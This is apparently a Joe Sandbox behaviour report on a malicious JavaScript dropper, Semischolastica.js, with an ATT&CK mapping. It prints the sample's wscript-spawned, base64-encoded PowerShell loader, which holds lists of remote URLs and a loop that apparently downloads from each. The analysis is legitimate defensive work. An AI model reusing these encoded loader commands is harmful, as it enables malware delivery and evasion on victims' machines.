Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 9875

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4940

Thread sleep time: -5534023222112862s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded $avantlay = "aAB0AHQAcABzADoALwAvAGMAbwByAG4AaQBmAGkAYwAuAGMAYQBzAGEAannpaAB0AHQAcABzADoALwAvADYAMwAuADIANQAwAC4AMQA2ADkALgA1ADcAannpaAB0AHQAcABzADoALwAvAFIAYQB1AG4AYwBoAGkAZQByAC4AZwBhAG0AZQBzAA==annpaAB0AHQAcABzADoALwAvADcAMwAuADYAMwAuADQANgAuADEAMwA5AA==";$fletches = "aAB0AHQAcABzADoALwAvAFcAbwBhAGQAZQByAFAAaABhAG4AZQByAG8AZwBhAG0AaQBhAC4AbABpAG4AawA=";$QuizzeeDecelerometer = "aAB0AHQAcAA6AC8ALwAxADEANQAuADEANgA4AC4ANgAzAC4AMgAxADMA";$immarcescible = "aAB0AHQAcAA6AC8ALwAxADUAMQAuADEAMQA3AC4AMQA1ADUALgA3ADQALwB6AEQAMgBkAEIALwB3ADQATQA=QaAB0AHQAcAA6AC8ALwAxADkAMAAuADkANwAuADEAMwA2AC4ANAA1AC8ATgBNAEIATAAvAGEARQB5AE4AbwA=QaAB0AHQAcAA6AC8ALwA4ADkALgA4ADIALgA1ADIALgA2ADUALwAyAGYALwBTAA==QaAB0AHQAcAA6AC8ALwAxADkAMgAuADEAMgAxAC4AMgAzAC4AMQAwADQALwBUAEwARwBoAE4AZAAvAEwAZABXAGQARABGAA==QaAB0AHQAcAA6AC8ALwAxADkAMgAuADEAMgAxAC4AMgAzAC4ANgAxAC8AOQBhADYANwBwAGUAcwAvAHgAaABZAHgAdABRADAASQA=QaAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADkALgA5ADgALwBQAHAAVQBZAFgALwA4AEYANQBNADUANwBBAEoAZAA5AGIAMwA=";foreach ($Tenaille in $immarcescible -split "Q") {try {$Artificialities = "aAB0AHQAcAA6AC8ALwAxADUAOQAuADEAMgA2AC4AMgA0ADYALgA5ADYA";$hydraulicCappadocian = "aAB0AHQAcABzADoALwAvADcAMQAuADEANAAwAC4AMQA0ADIALgAyADQAMAA=IaAB0AHQAcABzADoALwAvADEANAAzAC4AMQA3ADQALgAxADkANQAuADEANQAyAA==IaAB0AHQAcAA6AC8ALwBCAGwAbwBjAGsAcABhAHQAZQAuAHMAdQBwAHAAbAB5AA==IaAB0AHQAcABzADoALwAvADIAMQA0AC4AMgAwADgALgA0ADIALgA5ADAA";$imbricately = "aAB0AHQAcAA6AC8ALwBxAHUAaQBkAGEAbQAuAGUAbgBnAGkAbgBlAGUAcgBpAG4AZwA=
Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded $avantlay = "aAB0AHQAcABzADoALwAvAGMAbwByAG4AaQBmAGkAYwAuAGMAYQBzAGEAannpaAB0AHQAcABzADoALwAvADYAMwAuADIANQAwAC4AMQA2ADkALgA1ADcAannpaAB0AHQAcABzADoALwAvAFIAYQB1AG4AYwBoAGkAZQByAC4AZwBhAG0AZQBzAA==annpaAB0AHQAcABzADoALwAvADcAMwAuADYAMwAuADQANgAuADEAMwA5AA==";$fletches = "aAB0AHQAcABzADoALwAvAFcAbwBhAGQAZQByAFAAaABhAG4AZQByAG8AZwBhAG0AaQBhAC4AbABpAG4AawA=";$QuizzeeDecelerometer = "aAB0AHQAcAA6AC8ALwAxADEANQAuADEANgA4AC4ANgAzAC4AMgAxADMA";$immarcescible = "aAB0AHQAcAA6AC8ALwAxADUAMQAuADEAMQA3AC4AMQA1ADUALgA3ADQALwB6AEQAMgBkAEIALwB3ADQATQA=QaAB0AHQAcAA6AC8ALwAxADkAMAAuADkANwAuADEAMwA2AC4ANAA1AC8ATgBNAEIATAAvAGEARQB5AE4AbwA=QaAB0AHQAcAA6AC8ALwA4ADkALgA4ADIALgA1ADIALgA2ADUALwAyAGYALwBTAA==QaAB0AHQAcAA6AC8ALwAxADkAMgAuADEAMgAxAC4AMgAzAC4AMQAwADQALwBUAEwARwBoAE4AZAAvAEwAZABXAGQARABGAA==QaAB0AHQAcAA6AC8ALwAxADkAMgAuADEAMgAxAC4AMgAzAC4ANgAxAC8AOQBhADYANwBwAGUAcwAvAHgAaABZAHgAdABRADAASQA=QaAB0AHQAcAA6AC8ALwAxADQAOQAuADEANQA0AC4AMQA1ADkALgA5ADgALwBQAHAAVQBZAFgALwA4AEYANQBNADUANwBBAEoAZAA5AGIAMwA=";foreach ($Tenaille in $immarcescible -split "Q") {try {$Artificialities = "aAB0AHQAcAA6AC8ALwAxADUAOQAuADEAMgA2AC4AMgA0ADYALgA5ADYA";$hydraulicCappadocian = "aAB0AHQAcABzADoALwAvADcAMQAuADEANAAwAC4AMQA0ADIALgAyADQAMAA=IaAB0AHQAcABzADoALwAvADEANAAzAC4AMQA3ADQALgAxADkANQAuADEANQAyAA==IaAB0AHQAcAA6AC8ALwBCAGwAbwBjAGsAcABhAHQAZQAuAHMAdQBwAHAAbAB5AA==IaAB0AHQAcABzADoALwAvADIAMQA0AC4AMgAwADgALgA0ADIALgA5ADAA";$imbricately = "aAB0AHQAcAA6AC8ALwBxAHUAaQBkAGEAbQAuAGUAbgBnAGkAbgBlAGUAcgBpAG4AZwA=			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "jabhahyayqbuahqababhahkaiaa9acaaigbhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbhae0aqqbiahcaqgb5aeearwa0aeeayqbraeiabqbbaecaawbbafkadwbbahuaqqbhae0aqqbzafeaqgb6aeearwbfaeeayqbuag4acabhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbeafkaqqbnahcaqqb1aeearabjaeeatgbraeeadwbbaemanabbae0auqbbadiaqqbeagsaqqbmagcaqqaxaeearabjaeeayqbuag4acabhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbgaekaqqbzafeaqgaxaeearwa0aeeawqb3aeiabwbbaecaawbbafoauqbcahkaqqbdadqaqqbaahcaqgboaeearwawaeeawgbraeiaegbbaeeapqa9ageabgbuahaayqbbaeiamabbaegauqbbagmaqqbcahoaqqbeag8aqqbmahcaqqb2aeearabjaeeatqb3aeeadqbbaeqawqbbae0adwbbahuaqqbeafeaqqboagcaqqb1aeearabfaeeatqb3aeeanqbbaeeapqa9aciaowakagyabablahqaywboaguacwagad0aiaaiageaqqbcadaaqqbiafeaqqbjaeeaqgb6aeearabvaeeatab3aeeadgbbaeyaywbbagiadwbcaggaqqbhafeaqqbaafeaqgb5aeeargbbaeeayqbbaeiaaabbaecanabbafoauqbcahkaqqbhadgaqqbaahcaqgboaeearwawaeeayqbraeiaaabbaemanabbagiaqqbcahaaqqbhadqaqqbhahcaqqa9aciaowakafeadqbpahoaegblaguarablagmazqbsaguacgbvag0azqb0aguacgagad0aiaaiageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeaeabbaeqarqbbae4auqbbahuaqqbeaeuaqqboagcaqqa0aeeaqwa0aeeatgbnaeeaegbbaemanabbae0azwbbahgaqqbeae0aqqaiadsajabpag0abqbhahiaywblahmaywbpagiabablacaapqagaciayqbbaeiamabbaegauqbbagmaqqbbadyaqqbdadgaqqbmahcaqqb4aeearabvaeeatqbraeeadqbbaeqarqbbae0auqbbadmaqqbdadqaqqbnafeaqqaxaeearabvaeeatabnaeeamwbbaeqauqbbaewadwbcadyaqqbfafeaqqbnagcaqgbraeearqbjaeeatab3aeiamwbbaeqauqbbafqauqbbad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeagsaqqbnaeeaqqb1aeearabraeeatgb3aeeadqbbaeqarqbbae0adwbbadiaqqbdadqaqqboaeeaqqaxaeeaqwa4aeeavabnaeiatgbbaeuasqbbafqaqqbbahyaqqbhaeuaqqbsafeaqga1aeearqa0aeeaygb3aeeapqbrageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeanabbaeqaawbbaewazwbbadqaqqbeaekaqqbmagcaqqaxaeearabjaeeatabnaeeamgbbaeqavqbbaewadwbbahkaqqbhafkaqqbmahcaqgbuaeeaqqa9ad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeagsaqqbnagcaqqb1aeearabfaeeatqbnaeeaeabbaemanabbae0azwbbahoaqqbdadqaqqbnafeaqqb3aeearabraeeatab3aeiavqbbaeuadwbbafiadwbcag8aqqbfadqaqqbaaeeaqqb2aeearqb3aeeawgbbaeiawabbaecauqbbafiaqqbcaecaqqbbad0apqbrageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeaeabbaeqaawbbae0azwbbahuaqqbeaeuaqqbnagcaqqb4aeeaqwa0aeeatqbnaeeaegbbaemanabbae4azwbbahgaqqbdadgaqqbpafeaqgboaeearabzaeeatgb3aeiadwbbaecavqbbagmadwbbahyaqqbiagcaqqbhaeeaqgbaaeeasabnaeeazabbaeiaugbbaeqaqqbbafmauqbbad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeafeaqqbpafeaqqb1aeearabfaeeatgbraeeamabbaemanabbae0auqbbadeaqqbeagsaqqbmagcaqqa1aeearabnaeeatab3aeiauqbbaegaqqbbafyauqbcafoaqqbgagcaqqbmahcaqqa0aeearqbzaeeatgbraeiatgbbaeqavqbbae4adwbcaeiaqqbfag8aqqbaaeeaqqa1aeearwbjaeeatqb3aeeapqaiadsazgbvahiazqbhagmaaaagacgajabuaguabgbhagkababsaguaiabpag4aiaakagkabqbtageacgbjaguacwbjagkaygbsaguaiaatahmacabsagkadaagaciauqaiackaiab7ahqacgb5acaaewakaeeacgb0agkazgbpagmaaqbhagwaaqb0agkazqbzacaapq
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "jabhahyayqbuahqababhahkaiaa9acaaigbhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbhae0aqqbiahcaqgb5aeearwa0aeeayqbraeiabqbbaecaawbbafkadwbbahuaqqbhae0aqqbzafeaqgb6aeearwbfaeeayqbuag4acabhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbeafkaqqbnahcaqqb1aeearabjaeeatgbraeeadwbbaemanabbae0auqbbadiaqqbeagsaqqbmagcaqqaxaeearabjaeeayqbuag4acabhaeeaqgawaeeasabraeeaywbbaeiaegbbaeqabwbbaewadwbbahyaqqbgaekaqqbzafeaqgaxaeearwa0aeeawqb3aeiabwbbaecaawbbafoauqbcahkaqqbdadqaqqbaahcaqgboaeearwawaeeawgbraeiaegbbaeeapqa9ageabgbuahaayqbbaeiamabbaegauqbbagmaqqbcahoaqqbeag8aqqbmahcaqqb2aeearabjaeeatqb3aeeadqbbaeqawqbbae0adwbbahuaqqbeafeaqqboagcaqqb1aeearabfaeeatqb3aeeanqbbaeeapqa9aciaowakagyabablahqaywboaguacwagad0aiaaiageaqqbcadaaqqbiafeaqqbjaeeaqgb6aeearabvaeeatab3aeeadgbbaeyaywbbagiadwbcaggaqqbhafeaqqbaafeaqgb5aeeargbbaeeayqbbaeiaaabbaecanabbafoauqbcahkaqqbhadgaqqbaahcaqgboaeearwawaeeayqbraeiaaabbaemanabbagiaqqbcahaaqqbhadqaqqbhahcaqqa9aciaowakafeadqbpahoaegblaguarablagmazqbsaguacgbvag0azqb0aguacgagad0aiaaiageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeaeabbaeqarqbbae4auqbbahuaqqbeaeuaqqboagcaqqa0aeeaqwa0aeeatgbnaeeaegbbaemanabbae0azwbbahgaqqbeae0aqqaiadsajabpag0abqbhahiaywblahmaywbpagiabablacaapqagaciayqbbaeiamabbaegauqbbagmaqqbbadyaqqbdadgaqqbmahcaqqb4aeearabvaeeatqbraeeadqbbaeqarqbbae0auqbbadmaqqbdadqaqqbnafeaqqaxaeearabvaeeatabnaeeamwbbaeqauqbbaewadwbcadyaqqbfafeaqqbnagcaqgbraeearqbjaeeatab3aeiamwbbaeqauqbbafqauqbbad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeagsaqqbnaeeaqqb1aeearabraeeatgb3aeeadqbbaeqarqbbae0adwbbadiaqqbdadqaqqboaeeaqqaxaeeaqwa4aeeavabnaeiatgbbaeuasqbbafqaqqbbahyaqqbhaeuaqqbsafeaqga1aeearqa0aeeaygb3aeeapqbrageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeanabbaeqaawbbaewazwbbadqaqqbeaekaqqbmagcaqqaxaeearabjaeeatabnaeeamgbbaeqavqbbaewadwbbahkaqqbhafkaqqbmahcaqgbuaeeaqqa9ad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeagsaqqbnagcaqqb1aeearabfaeeatqbnaeeaeabbaemanabbae0azwbbahoaqqbdadqaqqbnafeaqqb3aeearabraeeatab3aeiavqbbaeuadwbbafiadwbcag8aqqbfadqaqqbaaeeaqqb2aeearqb3aeeawgbbaeiawabbaecauqbbafiaqqbcaecaqqbbad0apqbrageaqqbcadaaqqbiafeaqqbjaeeaqqa2aeeaqwa4aeeatab3aeeaeabbaeqaawbbae0azwbbahuaqqbeaeuaqqbnagcaqqb4aeeaqwa0aeeatqbnaeeaegbbaemanabbae4azwbbahgaqqbdadgaqqbpafeaqgboaeearabzaeeatgb3aeiadwbbaecavqbbagmadwbbahyaqqbiagcaqqbhaeeaqgbaaeeasabnaeeazabbaeiaugbbaeqaqqbbafmauqbbad0auqbhaeeaqgawaeeasabraeeaywbbaeeangbbaemaoabbaewadwbbahgaqqbeafeaqqbpafeaqqb1aeearabfaeeatgbraeeamabbaemanabbae0auqbbadeaqqbeagsaqqbmagcaqqa1aeearabnaeeatab3aeiauqbbaegaqqbbafyauqbcafoaqqbgagcaqqbmahcaqqa0aeearqbzaeeatgbraeiatgbbaeqavqbbae4adwbcaeiaqqbfag8aqqbaaeeaqqa1aeearwbjaeeatqb3aeeapqaiadsazgbvahiazqbhagmaaaagacgajabuaguabgbhagkababsaguaiabpag4aiaakagkabqbtageacgbjaguacwbjagkaygbsaguaiaatahmacabsagkadaagaciauqaiackaiab7ahqacgb5acaaewakaeeacgb0agkazgbpagmaaqbhagwaaqb0agkazqbzacaapq			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\WeigelasScribbleable.js" ProtopathicCosmographically pachisisCounterproductiveness KnowingestGemmer theoreticianRoundishness			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFEAdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQ			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Command and Scripting Interpreter	Path Interception	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	22 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	22 Scripting	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
Semischolastica.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Semischolastica.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Windows Analysis Report
Semischolastica.js